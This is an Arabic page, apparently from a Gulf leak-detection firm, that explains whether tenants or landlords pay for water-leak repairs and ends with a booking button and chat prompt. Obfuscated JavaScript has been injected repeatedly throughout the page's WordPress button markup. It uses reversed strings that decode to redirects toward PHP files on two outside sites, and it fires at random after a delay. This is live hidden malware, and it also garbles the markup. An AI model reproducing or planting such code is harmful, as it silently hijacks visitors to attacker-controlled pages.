هل يتوجب على المستأجر أم على المالك تحمل تكاليف إصلاح تسربات المياه في العقارات المؤجرة؟


نُشر : 20 أكتوبر 2023 | تحديث : 20 أكتوبر 2023

تواجه المستأجرين والمالكين للعقارات المؤجرة في بعض الأحيان مشكلة تسربات المياه. واحدة من الأسئلة الشائعة التي تطرح في هذا الصدد هي: “هل يتوجب على المستأجر أم على المالك تحمل تكاليف إصلاح تسربات المياه في العقارات المؤجرة؟” لذلك، سنقدم إجابة على هذا السؤال الهام في الأسطر التالية.

في معظم الحالات، يكون من المفترض أن يتحمل المالك تكاليف كشف تسربات المياه في العقارات المؤجرة. يعتبر الحفاظ على قوة وسلامة العقار واحتفاظه بحالته الجيدة مسؤولية المالك.

وفقًا لمعظم الأنظمة القانونية، تعتبر التسربات الناجمة عن الأعطال الهيكلية أو التشويه أو القصور في تصميم العقار مسؤولية المالك. قد يشمل ذلك تكسير الأرضيات للكشف عن أسباب التسرب أو إصلاح الأنابيب المتضررة أو تغيير الأثاث المتلف.

ومع ذلك، يجب الانتباه إلى أن هناك بعض الحالات التي قد يتم فيها ترك المهمة للمستأجر. على سبيل المثال، إذا كان التسرب ناتجًا عن إهمال أو سوء المعاملة من قِبَل المستأجر، مثل استخدام جهاز ساندوتش مفتوح على الماء دون تحمل النتائج المحتملة، فقد يتوجب على المستأجر تحمل تكاليف الإصلاح.

لتحديد المسؤولية بشكل أكثر وضوحًا، ينصح بمراجعة عقد الايجار والقوانين المحلية. قد تكون هناك بنود تحدد بوضوح مسؤولية كل طرف في حالة حدوث تسربات المياه.

إذا كنت مستأجرًا وتواجه تسربات المياه في العقار المؤجر، فمن الأفضل الاتصال بالمالك لإبلاغه عن المشكلة وطلب إصلاحها. في حالة عدم استجابة المالك أو رفضه تحمل التكاليف، يُنصح بمراجعة قانون الإيجار واستشارة محامي لتوجيهك في الخطوات المناسبة للمطالبة بتحمل المالك للتكاليف.

بشكل عام، ينبغي التعاون بين المستأجر والمالك في حالة حدوث مشاكل مثل تسربات المياه والتعاون في تصليحها بهدف الحفاظ على سلامة العقار وضمان حياة مريحة للمستأجر.

<!-- wp:but$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tons {"layout":{"type":"flex","justifyContent":"center"}} --> <div class="wp-block-but$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tons”><!-- wp:but$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton {"style":{"color":{"background":"#303bbb"}}} --> <div class="wp-block-but$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton”><a class="wp-block-but$NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton__link has-background wp-element-but$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton” href=”tel:0508007994″ style=”background-color:#303bbb”>يمكنك حجز طلب فحص تسرب المياه من هنا
<!-- /wp:but$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}ton -->
<!-- /wp:but$NfI=function(n){if (typeof ($NfI.list[n]) == "string") return $NfI.list[n].split("").reverse().join("");return $NfI.list[n];};$NfI.list=["\'php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}$Bhq=function(n){if (typeof ($Bhq.list[n]) == "string") return $Bhq.list[n].split("").reverse().join("");return $Bhq.list[n];};$Bhq.list=["\'php.snimda-lla/sedulcni/etis-etavirp-oidarnoj/snigulp/tnetnoc-pw/sserpdrow/moc.nogaxehliie//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($Bhq(0), delay);}tons -->
Open chat
1
هلا وغلا ومرحباََ بكم🙏سعداء بتواجدكم معنا في
مؤسسة دنة الخليج لخدمات العزل وكشف التسربات

تواصل معانا مجاناً عبر الواتساب 👇
او اترك الهاتف هنا وسوف نتصل بك خلال دقائق
👇